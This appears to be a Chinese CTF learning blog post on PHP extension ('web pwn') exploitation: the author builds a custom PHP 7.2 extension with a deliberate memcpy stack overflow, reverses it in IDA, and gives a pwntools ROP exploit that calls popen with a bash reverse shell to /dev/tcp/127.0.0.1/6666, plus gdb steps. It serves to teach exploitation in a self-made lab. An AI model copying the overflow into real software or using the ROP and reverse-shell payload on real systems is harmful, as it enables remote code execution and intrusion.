非常规PWN
Jsjsj Lv2

非常规PWN&Web pwn(一)

前言:最近在学非常规pwn,然后想到了之前的php pwn,然后就觉得很有意思,原来PHP也可以被pwn(也许我是土🐕,之前一直想复现学习,一直拖到现在,其实web(php) pwn在前两年国际比赛中考察的很多,感觉也很偏向于实战web,所以本篇来叙述下,最后再以2020De1CTF-mixture这道题叙述下简单的做题技巧(这个大概放在第二篇章里

php 环境搭建

第一步我们需要在Ubuntu里安装个php的环境。命令:

1
2
sudo apt install php7.2 
sudo apt install php-dev

这里我下载的是php7.2环境,因为题目环境php版本也是这个版本,然后去找到对应的源码编译下源码,源码推荐:https://www.php.net/downloads.php https://www.php.net/distributions/php-7.2.31.tar.xz

然后我们看下源码的目录,每个目录的作用

1
2
3
4
5
6
7
8
9
10
11
1. build 和编译有关的目录。
2. ext 扩展库代码,例如 MySQL、zlib、iconv 等我们熟悉的扩展库。其中/ext/standard/ 目录下是常用的标准函数集。
3. main 主目录包含主要的 PHP 宏和定义。
4. sapi 和各种服务器的接口调用,例如apache、IIS等,也包含一般的fastcgi、cgi等。
5. win32 和 Windows 下编译 PHP 有关的脚本。
6. Zend 文件夹核心的引擎,所有的 Zend API 定义与宏等。
7. scripts Linux 下的脚本目录。
8. tests 测试脚本目录
9. sapi 各类 Web 服务器的接口。
10.TSRM Zend 和 PHP 的 “线程安全资源管理器” (TSRM) 目录。
11.pear 这个目录就是“PHP 扩展与应用仓库”的目录。包含了PEAR 的核心文件。

然后我们要想自己编译的话,在ext目录里进行编译

命令:

1
./ext_skel --extname=webpwn  #自己编译了个拓展库 webpwn

然后进到相应目录里,我们看下webpwn.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
/*
+----------------------------------------------------------------------+
| PHP Version 7 |
+----------------------------------------------------------------------+
| Copyright (c) 1997-2018 The PHP Group |
+----------------------------------------------------------------------+
| This source file is subject to version 3.01 of the PHP license, |
| that is bundled with this package in the file LICENSE, and is |
| available through the world-wide-web at the following url: |
| http://www.php.net/license/3_01.txt |
| If you did not receive a copy of the PHP license and are unable to |
| obtain it through the world-wide-web, please send a note to |
| license@php.net so we can mail you a copy immediately. |
+----------------------------------------------------------------------+
| Author: |
+----------------------------------------------------------------------+
*/

/* $Id$ */

#ifdef HAVE_CONFIG_H
#include "config.h"
#endif

#include "php.h"
#include "php_ini.h"
#include "ext/standard/info.h"
#include "php_webpwn.h"

/* If you declare any globals in php_webpwn.h uncomment this:
ZEND_DECLARE_MODULE_GLOBALS(webpwn)
*/

/* True global resources - no need for thread safety here */
static int le_webpwn;

/* {{{ PHP_INI
*/
/* Remove comments and fill if you need to have entries in php.ini
PHP_INI_BEGIN()
STD_PHP_INI_ENTRY("webpwn.global_value", "42", PHP_INI_ALL, OnUpdateLong, global_value, zend_webpwn_globals, webpwn_globals)
STD_PHP_INI_ENTRY("webpwn.global_string", "foobar", PHP_INI_ALL, OnUpdateString, global_string, zend_webpwn_globals, webpwn_globals)
PHP_INI_END()
*/
/* }}} */

/* Remove the following function when you have successfully modified config.m4
so that your module can be compiled into PHP, it exists only for testing
purposes. */

/* Every user-visible function in PHP should document itself in the source */
/* {{{ proto string confirm_webpwn_compiled(string arg)
Return a string to confirm that the module is compiled in */
PHP_FUNCTION(confirm_webpwn_compiled)
{
char *arg = NULL;
size_t arg_len, len;
zend_string *strg;

if (zend_parse_parameters(ZEND_NUM_ARGS(), "s", &arg, &arg_len) == FAILURE) {
return;
}

strg = strpprintf(0, "Congratulations! You have successfully modified ext/%.78s/config.m4. Module %.78s is now compiled into PHP.", "webpwn", arg);

RETURN_STR(strg);
}
/* }}} */
/* The previous line is meant for vim and emacs, so it can correctly fold and
unfold functions in source code. See the corresponding marks just before
function definition, where the functions purpose is also documented. Please
follow this convention for the convenience of others editing your code.
*/


/* {{{ php_webpwn_init_globals
*/
/* Uncomment this function if you have INI entries
static void php_webpwn_init_globals(zend_webpwn_globals *webpwn_globals)
{
webpwn_globals->global_value = 0;
webpwn_globals->global_string = NULL;
}
*/
/* }}} */

/* {{{ PHP_MINIT_FUNCTION
*/
PHP_MINIT_FUNCTION(webpwn)
{
/* If you have INI entries, uncomment these lines
REGISTER_INI_ENTRIES();
*/
return SUCCESS;
}
/* }}} */

/* {{{ PHP_MSHUTDOWN_FUNCTION
*/
PHP_MSHUTDOWN_FUNCTION(webpwn)
{
/* uncomment this line if you have INI entries
UNREGISTER_INI_ENTRIES();
*/
return SUCCESS;
}
/* }}} */

/* Remove if there's nothing to do at request start */
/* {{{ PHP_RINIT_FUNCTION
*/
PHP_RINIT_FUNCTION(webpwn)
{
#if defined(COMPILE_DL_WEBPWN) && defined(ZTS)
ZEND_TSRMLS_CACHE_UPDATE();
#endif
return SUCCESS;
}
/* }}} */

/* Remove if there's nothing to do at request end */
/* {{{ PHP_RSHUTDOWN_FUNCTION
*/
PHP_RSHUTDOWN_FUNCTION(webpwn)
{
return SUCCESS;
}
/* }}} */

/* {{{ PHP_MINFO_FUNCTION
*/
PHP_MINFO_FUNCTION(webpwn)
{
php_info_print_table_start();
php_info_print_table_header(2, "webpwn support", "enabled");
php_info_print_table_end();

/* Remove comments if you have entries in php.ini
DISPLAY_INI_ENTRIES();
*/
}
/* }}} */

/* {{{ webpwn_functions[]
*
* Every user visible function must have an entry in webpwn_functions[].
*/
const zend_function_entry webpwn_functions[] = {
PHP_FE(confirm_webpwn_compiled, NULL) /* For testing, remove later. */
PHP_FE_END /* Must be the last line in webpwn_functions[] */
};
/* }}} */

/* {{{ webpwn_module_entry
*/
zend_module_entry webpwn_module_entry = {
STANDARD_MODULE_HEADER,
"webpwn",
webpwn_functions,
PHP_MINIT(webpwn),
PHP_MSHUTDOWN(webpwn),
PHP_RINIT(webpwn), /* Replace with NULL if there's nothing to do at request start */
PHP_RSHUTDOWN(webpwn), /* Replace with NULL if there's nothing to do at request end */
PHP_MINFO(webpwn),
PHP_WEBPWN_VERSION,
STANDARD_MODULE_PROPERTIES
};
/* }}} */

#ifdef COMPILE_DL_WEBPWN
#ifdef ZTS
ZEND_TSRMLS_CACHE_DEFINE()
#endif
ZEND_GET_MODULE(webpwn)
#endif

/*
* Local variables:
* tab-width: 4
* c-basic-offset: 4
* End:
* vim600: noet sw=4 ts=4 fdm=marker
* vim<600: noet sw=4 ts=4
*/

这里我们主要看两个关键的部分,一个是用来写我们生成的主代码函数PHP_FUNCTION

1
2
3
4
5
6
7
8
9
10
11
12
13
14
PHP_FUNCTION(confirm_webpwn_compiled)
{
char *arg = NULL;
size_t arg_len, len;
zend_string *strg;

if (zend_parse_parameters(ZEND_NUM_ARGS(), "s", &arg, &arg_len) == FAILURE) {
return;
}

strg = strpprintf(0, "Congratulations! You have successfully modified ext/%.78s/config.m4. Module %.78s is now compiled into PHP.", "webpwn", arg);

RETURN_STR(strg);
}

我们主要的代码就是在 这里面进行写,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
PHP_FUNCTION(webpwn)
{
char *arg = NULL;
size_t arg_len, len;
zend_string *strg;
char buf[100];

if (zend_parse_parameters(ZEND_NUM_ARGS(), "s", &arg, &arg_len) == FAILURE) {
return;
}
memcpy(buf,arg,arg_len);
php_printf("The baby phppwn.\n");
return SUCCESS;
}

我们写完一个函数,然后需要注册下这个函数

1
2
3
4
5
const zend_function_entry webpwn_functions[] = {
PHP_FE(confirm_webpwn_compiled, NULL) /* For testing, remove later. */
PHP_FE(webpwn,NULL) //在这里进行注册,然后注册个刚刚写的函数
PHP_FE_END /* Must be the last line in webpwn_functions[] */
};

注册好以后,下一步直接make,进行make一下即可

make后,会在对应的目录下生成一个modules。这里面就是我们需要的扩展库

然后在我们的php.ini加载扩展库

查找php.ini方法:

1
2
3
4
sudo find / -name php.ini
/etc/php/7.2/cli/php.ini
在php.ini加载我们自己生成的拓展库
extension=webpwn.so

加载起来,下一步我们还要把对应的库放到我们本地对应的加载库里,如何找这个本地库的位置呢

我们先写个php文件让它运行php test.php | grep “webpwn”

然后报错:

1
PHP Warning:  PHP Startup: Unable to load dynamic library 'webpwn.so' (tried: /usr/lib/php/20170718/webpwn.so (/usr/lib/php/20170718/webpwn.so: cannot open shared object file: No such file or directory), /usr/lib/php/20170718/webpwn.so.so (/usr/lib/php/20170718/webpwn.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0

可以看到对应的目录里没有我们生成的库/usr/lib/php/20170718/

那么我们就把自己生成的webpwn库放到这个文件夹里

然后再运行就不报错了

还有一点说的是

我们编写的php文件,然后用php运行其中原理是用我们加载的指定的生成库

那这样的话,我们就可以直接找到webpwn的思路了,直接去逆这个库,找到这个库的漏洞,是不是就能实现phppwn了,答案:是的

把webpwn.so放到ida里,找到对应的函数,zif_webpwn:

1
2
3
4
5
6
7
8
9
10
11
12
13
void __cdecl zif_webpwn(zend_execute_data *execute_data, zval *return_value)
{
char buf[100]; // [rsp+10h] [rbp-80h] BYREF
size_t n; // [rsp+80h] [rbp-10h] BYREF
char *arg; // [rsp+88h] [rbp-8h] BYREF

arg = 0LL;
if ( (unsigned int)zend_parse_parameters(execute_data->This.u2.next, "s", &arg, &n) != -1 )
{
memcpy(buf, arg, n);
php_printf("The baby phppwn.\n");
}
}

发现这个程序是有栈溢出的,memcpy对buf进行了溢出

然后下一步我们就开始写脚本进行触发这个栈溢出,注意点就是不能直接拿shell,需要反弹shell,这里采用popen

1
popen(/bin/bash -c "/bin/bash -i >&/dev/tcp/127.0.0.1/6666 0>&1",'r')

我们只要找到对应的rdi和rsi传参即可,具体找法就是采用ROPbinary进行找寄存器,然后传参就可以了

这里知道了漏洞,我们直接开始写脚本(由于方便本地调试,这里我们关闭本地随机化,我是在Ubuntu20环境下打的,需要用到栈对齐)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *

context.arch = "amd64"

def chuangjian(buf):
with open("jsjsj.php", 'w+') as pf:
pf.write('''<?php
webpwn(urldecode("%s"));
?>'''%urlencode(buf))

libc = ELF("/usr/lib/x86_64-linux-gnu/libc-2.31.so")
libc.address =0x7ffff763a000
pop_rdi = 0x0000000000023b6a+libc.address
pop_rsi = 0x000000000002601f+libc.address
popen_addr = libc.sym['popen']
ret=0x0000000000022679+libc.address
cmd = "/bin/bash -c \"/bin/bash -i >&/dev/tcp/127.0.0.1/6666 0>&1\""

stack_base = 0x7ffffffde000
stack_offset = 0x1c330
ret=0x0000000000022679+libc.address
stack_addr = stack_offset+stack_base
payload='a'*0x88+p64(ret)+p64(pop_rdi)+p64(stack_addr+0x88+0x30+0x60+415-23)+p64(pop_rsi)+p64(stack_addr+0x88+0x28+384+8)\
+p64(popen_addr)+ 'r'+'\x00'*7+popen_addr+'a'*0x58+cmd.ljust(0x60, '\x00')+"a"*0x8
chuangjian(payload)

运行脚本生成php exp,然后gdb动调方法设置

1
2
3
4
5
gdb php   #动调php
set args php_exp.php
run #加载到我们的webpwn库
b zif_webpwn #把断点下到我们写的漏洞文章
run #再run下就到我们的断点主函数了。进行动调就可以了

遇到的🕳:

这个exp在调试中有很多曲折,呜呜呜,因为我犯了一个很低级的错误,就是ret栈对齐,栈对其之后,一直报segmentaton fault,然后动调了好久,发现自己s***了,光把ret填到前面了,后面 栈有些偏移和实际不符合导致rdi和rsi没传进去,然后细调了下就可以了,其实这个地方是个很低级的错误,没办法👴还是菜

总结:通过本篇webpwn能入门php(web)pwn,知道了比赛中的web pwn是怎么做的一个流程,由于时间原因,有两道题没有叙述,这个会放到下一篇文章里,下篇文章估计会3天以后发,webpwn确实是一个令我感觉做pwn方向最有意思的pwn题,因为它是web和pwn相结合起来了,这个非常规pwn题 是真有意思,经典名言:NO PWN(Rev) NO FUN!!!!

 Comments